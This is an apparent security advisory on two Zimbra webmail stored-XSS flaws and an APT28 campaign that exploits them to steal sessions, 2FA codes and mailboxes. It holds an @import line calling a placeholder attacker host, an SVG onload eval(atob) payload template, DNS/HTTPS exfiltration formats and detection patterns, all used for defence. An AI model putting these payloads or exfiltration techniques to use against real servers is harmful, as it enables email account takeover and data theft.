Executive Summary
Zimbra Collaboration Suite (ZCS) is one of the most widely used business email platforms in the world — serving government agencies, universities, and companies across every continent. Two security flaws in its webmail interface have been turned by Russian military intelligence into an attack that steals everything from your inbox — just by sending you an email. Here is what happens when the attack succeeds:
- You just have to see it — Simply viewing the email in your browser is enough. You don't need to click anything.
- Everything is stolen — Your login session, your passwords, even your two-factor authentication backup codes (the emergency codes you use when your phone is unavailable)
- Three months of email downloaded — The attacker silently downloads your entire email history while your browser tab stays open
- A secret back door is installed — The attacker creates a hidden password that keeps working even if you change your main password
- Remote access turned on — A setting is changed that lets the attacker read your email from any device, without needing the website
- Data leaves through two hidden routes — making it significantly harder for your IT team to detect
- Russian military intelligence is behind it — A hacking group linked to Russia's GRU is actively using this attack against government targets
- Over 10,500 organisations are still vulnerable — almost a year after the fix was made available
The Vulnerabilities at a Glance
In June 2025, Zimbra's developers quietly patched a cross-site scripting (XSS — a type of attack that injects hidden code into web pages) flaw tracked as CVE-2025-48700. Five months later, a second related vulnerability — CVE-2025-66376 — was fixed in the November 2025 patch cycle. Both share the same root cause: Zimbra's email security filter doesn't understand the formatting code inside emails.
| CVE-2025-48700 | CVE-2025-66376 | |
|---|---|---|
| Type | Stored XSS | Stored XSS |
| CVSS 3.1 | 6.1 (Medium) | 7.2 (High) |
| Vector | AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N | AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N |
| Auth Required | None | None |
| User Interaction | View email (UI:R) | None (UI:N) |
| Affected Versions | ZCS 8.8.15, 9.0, 10.0, 10.1 | ZCS 10.0.0–10.0.17, 10.1.0–10.1.12 |
| Patched In | June 2025 | 10.0.18 / 10.1.13 (Nov 2025) |
| CISA KEV Added | April 20, 2026 | March 18, 2026 |
| EPSS | — | 0.288 (96th percentile) |
Root Cause: The Sanitiser That Couldn't Read CSS
When Zimbra Classic UI renders an incoming HTML email, the content passes through AntiSamy (the security filter that checks incoming emails for dangerous content) — an OWASP HTML sanitisation library. Its job is to strip dangerous elements (<script>, <iframe>, event handlers) while preserving legitimate formatting. The problem is what AntiSamy doesn't do.
The Blind Spot
AntiSamy operates on the HTML DOM — it parses tags and attributes, walks the tree, and removes anything matching its blocklist. But <style> tags are explicitly permitted because they're needed for email formatting (fonts, colours, layouts).
Here's the critical flaw: AntiSamy treats the content inside <style> tags as opaque text. It does not construct an Abstract Syntax Tree (AST) of the CSS rules. It cannot parse, inspect, or filter CSS directives like @import or url().
This means the following passes through the sanitiser untouched:
<style>
@import url('https://attacker.com/stage1.css');
</style>
When the browser renders this email, its CSS parser interprets the @import as a legitimate instruction to fetch an external stylesheet — and the attacker's payload is loaded into the page context.
CVE-2025-48700: Crafted Tag Structures
The first vulnerability exploits insufficient sanitisation of crafted tag structures and attribute values that include an @import directive. The bypass involves malformed HTML that confuses the sanitiser's regex-based filters — allowing @import directives to survive within attribute contexts and reconstructed tag structures. This affects all Zimbra versions from 8.8.15 onward, including the legacy 9.0 branch.
CVE-2025-66376: The AntiSamy Reconstruction Attack
The second vulnerability is more sophisticated. Security researchers' analysis of Operation GhostMail revealed the exact bypass technique:
- Malformed tag injection — the attacker embeds @import directives within HTML tag names themselves
- HTML comment insertion — comments are placed mid-tag to disrupt regex-based pattern matching
- AntiSamy reconstruction — when AntiSamy "fixes" the broken HTML, it inadvertently assembles a valid attack vector
<svg/onload=eval(atob('PAYLOAD_BASE64'))>
The sanitiser's attempt to repair malformed markup actually creates the exploit. Secondary decoy elements — broken <script> and <style> tags with @import noise — further distract signature-based filters.
The Exploit Chain: From Email to Full Compromise
The following is based on published threat intelligence research into Operation GhostMail. This is not theoretical — this is what was observed in the wild against Ukrainian government targets.
Stage 0: Delivery
The attacker sends a phishing email from a compromised account. In the documented case, a compromised student email account at a naval academy was used to email the Ukrainian State Hydrology Agency. The email looks mundane — an internship inquiry, a routine request. There are no attachments, no links, no macros. The entire attack lives inside the HTML body of the email.
Stage 1: JavaScript Loader
Embedded within the malformed HTML/CSS structure, the first-stage payload executes when the browser renders the email:
- Checks for prior execution using a DOM element ID (zmb_pl_v3_) to avoid re-running
- Decodes a Base64-encoded payload via atob()
- Applies XOR decryption with the hardcoded key twichcba5e
- Injects the decrypted script into the top-level document to escape any iframe sandbox
Stage 2: Session Establishment
The decoded "Browser Stealer" script generates a unique 12-character session token, establishes C2 communication with zimbrasoft[.]com[.]ua, reads the victim's ZMBAuthToken session cookie, and extracts the CSRF token (a security code that verifies requests are legitimate) from localStorage. With these two values, the attacker can make authenticated Zimbra SOAP API (the internal commands Zimbra uses to manage accounts) calls that are indistinguishable from legitimate webmail activity.
Stage 3: Nine Parallel Harvest Operations
The payload launches nine simultaneous data collection functions, each wrapped in try/catch for fault isolation:
| # | Function | SOAP / Method | What It Steals |
|---|---|---|---|
| 1 | gather_email | GetIdentitiesRequest | Email addresses and aliases |
| 2 | gather_environment | GetInfoRequest | Full server configuration dump |
| 3 | gather_2fa_codes | GetScratchCodesRequest | Emergency 2FA recovery codes |
| 4 | gather_app_password | CreateAppSpecificPasswordRequest | Creates persistent password "ZimbraWeb" |
| 5 | gather_device_status | GetDeviceStatusRequest | ActiveSync mobile device list |
| 6 | gather_oauth_consumers | GetOAuthConsumersRequest | Authorised third-party applications |
| 7 | gather_autocomplete_password | DOM injection | Triggers browser password manager autofill |
| 8 | enable_mail_protocols | ModifyPrefsRequest | Silently enables IMAP access |
| 9 | sendArchives | /home/~/?fmt=tgz | Downloads 90 days of email as .tgz archives |
Stage 4: Dual-Channel Exfiltration
Stolen data leaves the victim's browser through two parallel channels:
POST /v/d → X-Filename header → structured JSON blobs (credentials, configs)
POST /v/p → beacon / status updates
Streaming for archives (modern browsers) | 500MB buffer (legacy)
DNS Channel (stealthy C2)
RFC 4648 Base32 (a method of encoding data into text characters) encoding → 60-character segments
Format: d-<token>.<key>.<base32_chunk>.i.zimbrasoft[.]com[.]ua
// Bypasses most network security monitoring
The email archive exfiltration sweeps 90 days of mailbox history, looping day by day. Checkpoint tracking via localStorage keys (zd_comp_YYYY-MM-DD) means the download resumes if the victim closes and reopens the tab.
Stage 5: Persistence
After the initial compromise, the attacker has four independent persistence mechanisms:
Attribution: APT28 and the SpyPress Lineage
Security researchers traced this attack campaign — which they named 'Operation GhostMail' — back to APT28, a hacking group that is part of Russia's military intelligence service (the GRU). APT28 is also known by other names including 'Fancy Bear'. The attribution is based on the strong resemblance between this attack's code and tools APT28 has used in previous operations.
The campaign was reported to Ukraine's national cybersecurity response team, which assigned tracking identifiers UAC-0233 and UAC-0250.
Timeline
| Date | Event |
|---|---|
| Jun 2025 | Zimbra patches CVE-2025-48700 |
| Sep 2025 | UAC-0233 already exploiting both flaws in the wild |
| Nov 2025 | Zimbra patches CVE-2025-66376 (ZCS 10.0.18 / 10.1.13) |
| Jan 20, 2026 | C2 domain zimbrasoft[.]com[.]ua registered |
| Jan 22, 2026 | First observed Operation GhostMail attack against Ukrainian target |
| Mar 18, 2026 | CISA adds CVE-2025-66376 to KEV catalog |
| Mar 19, 2026 | Operation GhostMail research published |
| Apr 20, 2026 | CISA adds CVE-2025-48700 to KEV catalog |
Operation RoundPress: The Precursor (2023–2025)
Operation GhostMail didn't emerge from nowhere. Published research on Operation RoundPress, published in May 2025, documented APT28's systematic exploitation of webmail platforms — starting with Roundcube XSS in 2023, expanding to Horde, MDaemon (zero-day), and Zimbra in 2024, and deploying SpyPress variants across all four platforms.
Operation GhostMail's payload is a direct evolution of SpyPress.ZIMBRA — adding SOAP API abuse for 2FA codes, app passwords, device enumeration, and the dual DNS/HTTPS exfiltration channel.
Exposure: 10,500+ Servers Still Vulnerable
As of April 2026, Security scanning organisations report over 10,500 internet-facing Zimbra servers running vulnerable versions — nearly a year after the first patch was released. To put this in perspective: each of these servers typically handles email for an entire organisation — meaning hundreds of thousands of individual mailboxes are at risk.
| Region | Exposed Servers |
|---|---|
| Asia | 3,794 |
| Europe | 3,793 |
| Other regions | ~2,900+ |
| Total | 10,500+ |
These include hundreds of government agencies and thousands of businesses. Zimbra webmail is internet-facing by design, Classic UI is often the default on older deployments, and ZCS 8.8.15 — still widely deployed — has reached end-of-life but remains affected.
Indicators of Compromise
The following indicators are the digital fingerprints of this attack. If your security team finds any of these on your network, it means this attack has either been attempted or has succeeded against your organisation.
| Type | Value | Context |
|---|---|---|
| C2 Domain | zimbrasoft[.]com[.]ua | Registered 2026-01-20, impersonates Zimbra |
| C2 Pattern | js-[a-z0-9]{12}.i.zimbrasoft[.]com[.]ua | Per-session generated subdomains |
| C2 Subdomain | js-l1wt597cimk[.]i[.]zimbrasoft[.]com[.]ua | Observed in attacks |
| C2 Subdomain | js-26tik3egye4[.]i[.]zimbrasoft[.]com[.]ua | Observed in attacks |
| Email Hash | c010f64080b0b0997b362a8e6b9c618e | Phishing email (MD5) |
| DNS Exfil | d-[a-z0-9]{12}.<key>.<base32>.i.* | Exfiltration DNS query format |
| SpyPress SHA-1 | 41FE2EFB38E0C7DD10E6009A68BD26687D6DBF4C | Operation RoundPress |
| SpyPress SHA-1 | AD3C590D1C0963D62702445E8108DB025EEBEC70 | Operation RoundPress |
| App Password | ZimbraWeb | Created by Stage 3 harvester |
| Preference | zimbraPrefImapEnabled: TRUE | IMAP silently enabled |
Behavioural Indicators
Beyond specific fingerprints, here are the suspicious activities that indicate this attack is happening. Think of them as unusual behaviours — like finding your front door unlocked when you know you locked it.
On the Zimbra server — unexpected GetScratchCodesRequest SOAP calls, CreateAppSpecificPasswordRequest creating passwords named ZimbraWeb, ModifyPrefsRequest enabling IMAP, bulk /home/~/?fmt=tgz exports across sequential date ranges, and rapid-fire GetIdentitiesRequest + GetDeviceStatusRequest + GetOAuthConsumersRequest from a single session.
On network monitoring — DNS queries matching d-[a-z0-9]{12}\.[a-z]+\.[a-z0-9]+\.i\., HTTPS POST requests with X-Filename headers to unfamiliar endpoints, and outbound connections to .zimbrasoft.com.ua.
On endpoints — localStorage keys matching zd_comp_YYYY-MM-DD (exfil checkpoint tracking) and DOM elements with ID prefix zmb_pl_v3_ (payload re-execution guard).
MITRE ATT&CK Mapping
| Tactic | Technique | Detail |
|---|---|---|
| Resource Development | T1583.001 | C2 domain acquisition |
| Resource Development | T1586.002 | Compromised student email account |
| Initial Access | T1566.001 | Spearphishing with embedded exploit |
| Execution | T1059.007 | JavaScript via XSS |
| Execution | T1203 | CVE-2025-66376 / CVE-2025-48700 |
| Persistence | T1098.001 | App-specific password creation |
| Defense Evasion | T1027 | XOR + Base64 + @import obfuscation |
| Credential Access | T1539 | Session cookie theft (ZMBAuthToken) |
| Credential Access | T1111 | 2FA backup code theft |
| Credential Access | T1555.003 | Browser password autofill abuse |
| Collection | T1114.002 | Remote email collection (90-day sweep) |
| Exfiltration | T1041 | HTTPS exfil channel |
| Exfiltration | T1071.004 | DNS exfil channel |
Remediation
Patch Now
| Deployment | Patch To | Source |
|---|---|---|
| ZCS 10.1.x | 10.1.13 or later | Release Notes |
| ZCS 10.0.x | 10.0.18 or later | Release Notes |
| ZCS 9.0 | Consult Zimbra advisories | Security Center |
| ZCS 8.8.15 | EOL — consider migration | Security Center |
The fix updates Zimbra's email security filter (AntiSamy) so that it now actually inspects the formatting code inside emails — the blind spot that attackers were exploiting. Previously, this formatting code was allowed through without any inspection. Technically, it upgrades AntiSamy to version 1.7.8 and introduces a dedicated CSS parsing phase that strips all @import declarations, removes external url() functions, and eliminates legacy expression() properties.
Immediate Mitigations
- Disable Classic UI — force all users to Modern UI if possible
- Block known C2 domains — add zimbrasoft[.]com[.]ua and the subdomain pattern to DNS blocklists
- Disable unused protocols — turn off IMAP/POP3 at the admin level if not required
- Audit app-specific passwords — search for any named ZimbraWeb
- Review IMAP enablement changes — check for accounts where zimbraPrefImapEnabled was recently set to TRUE
- Monitor SOAP API logs — alert on GetScratchCodesRequest and CreateAppSpecificPasswordRequest
Assume Compromise If Unpatched
- Rotate all user session tokens (force re-authentication)
- Revoke all app-specific passwords
- Reset 2FA enrolment for all users
- Audit mailbox access logs for unusual geographic patterns
- Check for unauthorised mail forwarding rules
- Review export logs for /home/~/?fmt=tgz access
Conclusion
These vulnerabilities show how a flaw officially rated as 'medium severity' can be turned into a devastating real-world attack. The severity ratings — designed for technical audiences — drastically understate the actual danger. In practice, this means: open one email, lose everything. The CVSS scores (6.1 and 7.2) fail to capture the real-world impact when chained with Zimbra's SOAP API — which gives authenticated sessions access to everything from 2FA (two-factor authentication — the extra security code you enter after your password) codes to bulk email export.
The exploit requires no attachments, no links, no user clicks. The entire attack chain lives inside the HTML body of a single email. And the resulting access — 90 days of email history, persistent credentials, 2FA bypass — is devastating for any organisation.
APT28's progression from Roundcube (2023) through multiple webmail platforms (2024) to sophisticated Zimbra SOAP API abuse (2025–2026) shows a threat actor systematically investing in webmail exploitation as a primary intelligence collection method. The tooling is mature, the tradecraft is refined, and the target surface is massive.
Patch. Verify. Hunt.
Disclosure
This analysis is based entirely on publicly available research and advisories. No vulnerable systems were accessed during its preparation. All technical details are sourced from published threat intelligence research, NVD, CISA KEV, and Zimbra's own security advisories.
This writeup is published to raise awareness of a high-impact vulnerability class that turns a routine email into a complete account takeover — with no user interaction beyond viewing the message. Organisations running Zimbra Classic UI should treat this as an urgent priority.
Vulnerability Assessment
Deep technical analysis of vulnerabilities affecting your infrastructure — beyond CVSS scores to real-world exploitability and impact.
Attack Surface Intelligence
Passive mapping of your external presence — every exposed service, endpoint, and piece of infrastructure visible to the public internet.
Threat Hunting
Proactive detection of compromise indicators, APT activity, and post-exploitation artifacts across your email and identity infrastructure.
Dark Web Monitoring
Continuous surveillance of stolen credential markets, threat actor forums, and data leak channels. Know when you're being targeted before it becomes an incident.
